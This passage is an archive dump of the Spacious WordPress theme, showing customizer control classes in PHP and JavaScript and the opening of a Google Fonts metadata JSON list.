				'<a data-section="{{{ data.navigate_info.target_id }}}" href="#">',
				'{{{ data.navigate_info.target_label }}}',
				'</a>'
			);
			?>
		</div>
		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {

	}
}
core/custom-controls/navigate/navigate.js000066600000000724152367043330014616 0ustar00/**
 * Background image control JS to handle the navigate customize option.
 *
 * File `navigate.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {

			$( '.tg-navigate a' ).on( 'click', function ( e ) {
				e.preventDefault();

				var targetSection = $( this ).data( 'section' );

				if ( targetSection ) {
					wp.customize.section( targetSection ).focus();
				}
			} );

		} );
	}
)( jQuery );
core/custom-controls/buttonset/buttonset.js000066600000000701152367043330015273 0ustar00/**
 * Radio buttonset control JS to handle the toggle of radio buttonsets.
 *
 * File `buttonset.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-buttonset' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'click', 'input', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );
core/custom-controls/buttonset/class-spacious-buttonset-control.php000066600000005266152367043330022066 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the radio buttonset control.
 *
 * Class Spacious_Color_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the radio buttonset customize control.
 *
 * Class Spacious_Buttonset_Control
 */
class Spacious_Buttonset_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-buttonset';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['choices'] = $this->choices;

		$this->json['inputAttrs'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div id="input_{{ data.id }}" class="buttonset">
			<# for ( key in data.choices ) { #>
			<div class="buttonset-inner">
				<input {{{ data.inputAttrs }}}
				       class="input-buttonset"
				       type="radio"
				       value="{{ key }}"
				       name="_customize-radio-{{ data.id }}"
				       id="{{ data.id }}{{ key }}"
				       {{{ data.link }}}
				<# if ( data.value === key ) { #> checked="checked"<# } #>
				>

				<label for="{{ data.id }}{{ key }}" class="spacious-buttonset">
					{{{ data.choices[ key ] }}}
				</label>
			</div>
			<# } #>
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/heading/class-spacious-heading-control.php000066600000003322152367043330020775 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the heading control.
 *
 * Class Spacious_Heading_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the heading customize control.
 *
 * Class Spacious_Heading_Control
 */
class Spacious_Heading_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-heading';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="spacious-heading-wrapper">
			<label class="customizer-text">
				<# if ( data.label ) { #>
				<span class="customize-control-title wp-ui-text-highlight">{{{ data.label }}}</span>
				<# } #>
				<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
				<# } #>
			</label>
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/class-spacious-customize-base-additional-control.php000066600000004342152367043330023042 0ustar00<?php
/**
 * Spacious customizer base additional control class for theme customize options.
 *
 * Class Spacious_Customize_Base_Additional_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class Spacious_Customize_Base_Additional_Control
 */
class Spacious_Customize_Base_Additional_Control extends WP_Customize_Control {

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {

		$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';

		/**
		 * Enqueue required Customize Controls CSS files.
		 */
		// SelectWoo CSS library file.
		wp_enqueue_style(
			'selectWoo',
			$this->get_assets_url() . '/assets/css/selectWoo' . $suffix . '.css',
			array(),
			SPACIOUS_THEME_VERSION
		);

		// Main CSS file.
		wp_enqueue_style(
			'spacious-customize-controls',
			$this->get_assets_url() . '/assets/css/customize-controls' . $suffix . '.css',
			array( 'wp-color-picker' ),
			SPACIOUS_THEME_VERSION
		);
		wp_style_add_data( 'spacious-customize-controls', 'rtl', 'replace' );

		/**
		 * Enqueue required Customize Controls JS files.
		 */
		// SelectWoo JS library file.
		wp_enqueue_script(
			'selectWoo',
			$this->get_assets_url() . '/assets/js/selectWoo' . $suffix . '.js',
			array(),
			SPACIOUS_THEME_VERSION,
			true
		);

		// WP Color Picker Alpha JS library file.
		wp_enqueue_script(
			'wp-color-picker-alpha',
			$this->get_assets_url() . '/assets/js/wp-color-picker-alpha' . $suffix . '.js',
			array(
				'wp-color-picker',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

		// Main JS file.
		wp_enqueue_script(
			'spacious-customize-controls',
			$this->get_assets_url() . '/assets/js/customize-controls' . $suffix . '.js',
			array(
				'jquery',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

	}

	public function get_assets_url() {
		// Get correct URL and path to wp-content.
		$content_url = untrailingslashit( dirname( dirname( get_stylesheet_directory_uri() ) ) );
		$content_dir = wp_normalize_path( untrailingslashit( WP_CONTENT_DIR ) );

		$url = str_replace( $content_dir, $content_url, wp_normalize_path( __DIR__ ) );
		$url = set_url_scheme( $url );

		return $url;
	}

}
core/custom-controls/typography/google-fonts.json000066600002412577152367043330016407 0ustar00{
  "kind": "webfonts#webfontList",
  "items": [
    {
      "kind": "webfonts#webfont",
      "family": "ABeeZee",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/abeezee/v13/esDR31xSG-6AGleN6tKukbcHCpE.ttf",
        "italic": "http://fonts.gstatic.com/s/abeezee/v13/esDT31xSG-6AGleN2tCklZUCGpG-GQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Abel",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/abel/v10/MwQ5bhbm2POE6VhLPJp6qGI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Abhaya Libre",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "sinhala",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/abhayalibre/v5/e3tmeuGtX-Co5MNzeAOqinEge0PWovdU4w.ttf",
        "500": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYj2ryqtxI6oYtBA.ttf",
        "600": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYo23yqtxI6oYtBA.ttf",
        "700": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYx2zyqtxI6oYtBA.ttf",
        "800": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEY22_yqtxI6oYtBA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Abril Fatface",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/abrilfatface/v11/zOL64pLDlL1D99S8g8PtiKchm-BsjOLhZBY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aclonica",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/aclonica/v10/K2FyfZJVlfNNSEBXGb7TCI6oBjLz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Acme",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/acme/v9/RrQfboBx-C5_bx3Lb23lzLk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Actor",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/actor/v9/wEOzEBbCkc5cO3ekXygtUMIO.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Adamina",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/adamina/v13/j8_r6-DH1bjoc-dwu-reETl4Bno.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Advent Pro",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/adventpro/v10/V8mCoQfxVT4Dvddr_yOwjVmtLZxcBtItFw.ttf",
        "200": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjfWMDbZyCts0DqQ.ttf",
        "300": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjZGPDbZyCts0DqQ.ttf",
        "regular": "http://fonts.gstatic.com/s/adventpro/v10/V8mAoQfxVT4Dvddr_yOwtT2nKb5ZFtI.ttf",
        "500": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjcmODbZyCts0DqQ.ttf",
        "600": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjeWJDbZyCts0DqQ.ttf",
        "700": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjYGIDbZyCts0DqQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aguafina Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/aguafinascript/v8/If2QXTv_ZzSxGIO30LemWEOmt1bHqs4pgicOrg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Akronim",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/akronim/v9/fdN-9sqWtWZZlHRp-gBxkFYN-a8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aladin",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/aladin/v8/ZgNSjPJFPrvJV5f16Sf4pGT2Ng.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alata",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alata/v1/PbytFmztEwbIofe6xKcRQEOX.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alatsi",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alatsi/v1/TK3iWkUJAxQ2nLNGHjUHte5fKg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aldrich",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/aldrich/v10/MCoTzAn-1s3IGyJMZaAS3pP5H_E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alef",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "hebrew",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alef/v11/FeVfS0NQpLYgrjJbC5FxxbU.ttf",
        "700": "http://fonts.gstatic.com/s/alef/v11/FeVQS0NQpLYglo50L5la2bxii28.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alegreya",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alegreya/v13/4UaBrEBBsBhlBjvfkRLmzanB44N1.ttf",
        "italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaHrEBBsBhlBjvfkSLkx63j5pN1MwI.ttf",
        "500": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSoS5I3JyJ98KhtH.ttf",
        "500italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_1nKwpteLwtHJlc.ttf",
        "700": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpa4o3JyJ98KhtH.ttf",
        "700italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_xHMwpteLwtHJlc.ttf",
        "800": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpG4Y3JyJ98KhtH.ttf",
        "800italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_w3PwpteLwtHJlc.ttf",
        "900": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpi4I3JyJ98KhtH.ttf",
        "900italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_ynOwpteLwtHJlc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alegreya SC",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alegreyasc/v11/taiOGmRtCJ62-O0HhNEa-a6o05E5abe_.ttf",
        "italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiMGmRtCJ62-O0HhNEa-Z6q2ZUbbKe_DGs.ttf",
        "500": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZZc-rUxQqu2FXKD.ttf",
        "500italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4WEySK-UEGKDBz4.ttf",
        "700": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYU_LUxQqu2FXKD.ttf",
        "700italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4Sk0SK-UEGKDBz4.ttf",
        "800": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYI_7UxQqu2FXKD.ttf",
        "800italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4TU3SK-UEGKDBz4.ttf",
        "900": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZYs_rUxQqu2FXKD.ttf",
        "900italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiRGmRtCJ62-O0HhNEa-Z6q4RE2SK-UEGKDBz4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alegreya Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt5TltuGdShm5bsg.ttf",
        "100italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUv9_-1phKLFgshYDvh6Vwt7V9V3G1WpGtLsgu7.ttf",
        "300": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5fFPmE18imdCqxI.ttf",
        "300italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VFE92jkVHuxKiBA.ttf",
        "regular": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUz9_-1phKLFgshYDvh6Vwt3V1nvEVXlm4.ttf",
        "italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUt9_-1phKLFgshYDvh6Vwt7V9tuGdShm5bsg.ttf",
        "500": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5alOmE18imdCqxI.ttf",
        "500italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VTE52jkVHuxKiBA.ttf",
        "700": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5eFImE18imdCqxI.ttf",
        "700italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VBEh2jkVHuxKiBA.ttf",
        "800": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5f1LmE18imdCqxI.ttf",
        "800italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VGEt2jkVHuxKiBA.ttf",
        "900": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUu9_-1phKLFgshYDvh6Vwt5dlKmE18imdCqxI.ttf",
        "900italic": "http://fonts.gstatic.com/s/alegreyasans/v10/5aUo9_-1phKLFgshYDvh6Vwt7V9VPEp2jkVHuxKiBA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alegreya Sans SC",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Dipl8g5FPYtmMg.ttf",
        "100italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGl4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdlgRBH452Mvds.ttf",
        "300": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DuJH0iRrMYJ_K-4.ttf",
        "300italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdXiZhNaB6O-51OA.ttf",
        "regular": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGh4-RGJqfMvt7P8FUr0Q1j-Hf1Nk5v9ixALYs.ttf",
        "italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Bkxl8g5FPYtmMg.ttf",
        "500": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DrpG0iRrMYJ_K-4.ttf",
        "500italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdBidhNaB6O-51OA.ttf",
        "700": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DvJA0iRrMYJ_K-4.ttf",
        "700italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdTiFhNaB6O-51OA.ttf",
        "800": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1Du5D0iRrMYJ_K-4.ttf",
        "800italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdUiJhNaB6O-51OA.ttf",
        "900": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DspC0iRrMYJ_K-4.ttf",
        "900italic": "http://fonts.gstatic.com/s/alegreyasanssc/v9/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxddiNhNaB6O-51OA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aleo",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syKbr9DVDno985KM.ttf",
        "300italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxeDdJmq159KOnWA.ttf",
        "regular": "http://fonts.gstatic.com/s/aleo/v3/c4mv1nF8G8_s8ArD0D1ogoY.ttf",
        "italic": "http://fonts.gstatic.com/s/aleo/v3/c4mh1nF8G8_swAjJ1B9tkoZl_Q.ttf",
        "700": "http://fonts.gstatic.com/s/aleo/v3/c4mg1nF8G8_syLbs9DVDno985KM.ttf",
        "700italic": "http://fonts.gstatic.com/s/aleo/v3/c4mi1nF8G8_swAjxaDBJmq159KOnWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alex Brush",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alexbrush/v11/SZc83FzrJKuqFbwMKk6EtUL57DtOmCc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alfa Slab One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alfaslabone/v9/6NUQ8FmMKwSEKjnm5-4v-4Jh6dVretWvYmE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alice",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alice/v11/OpNCnoEEmtHa6FcJpA_chzJ0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alike",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alike/v12/HI_EiYEYI6BIoEjBSZXAQ4-d.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Alike Angular",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/alikeangular/v10/3qTrojWunjGQtEBlIcwMbSoI3kM6bB7FKjE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Allan",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/allan/v12/ea8XadU7WuTxEtb2P9SF8nZE.ttf",
        "700": "http://fonts.gstatic.com/s/allan/v12/ea8aadU7WuTxEu5KEPCN2WpNgEKU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Allerta",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/allerta/v10/TwMO-IAHRlkbx940UnEdSQqO5uY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Allerta Stencil",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/allertastencil/v10/HTx0L209KT-LmIE9N7OR6eiycOeF-zz313DuvQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Allura",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/allura/v8/9oRPNYsQpS4zjuAPjAIXPtrrGA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Almarai",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "arabic"
      ],
      "version": "v2",
      "lastModified": "2020-03-03",
      "files": {
        "300": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_anhnicoq72sXg.ttf",
        "regular": "http://fonts.gstatic.com/s/almarai/v2/tsstApxBaigK_hnnc1qPonC3vqc.ttf",
        "700": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS-aghnicoq72sXg.ttf",
        "800": "http://fonts.gstatic.com/s/almarai/v2/tssoApxBaigK_hnnS_qjhnicoq72sXg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Almendra",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/almendra/v12/H4ckBXKAlMnTn0CskyY6wr-wg763.ttf",
        "italic": "http://fonts.gstatic.com/s/almendra/v12/H4ciBXKAlMnTn0CskxY4yLuShq63czE.ttf",
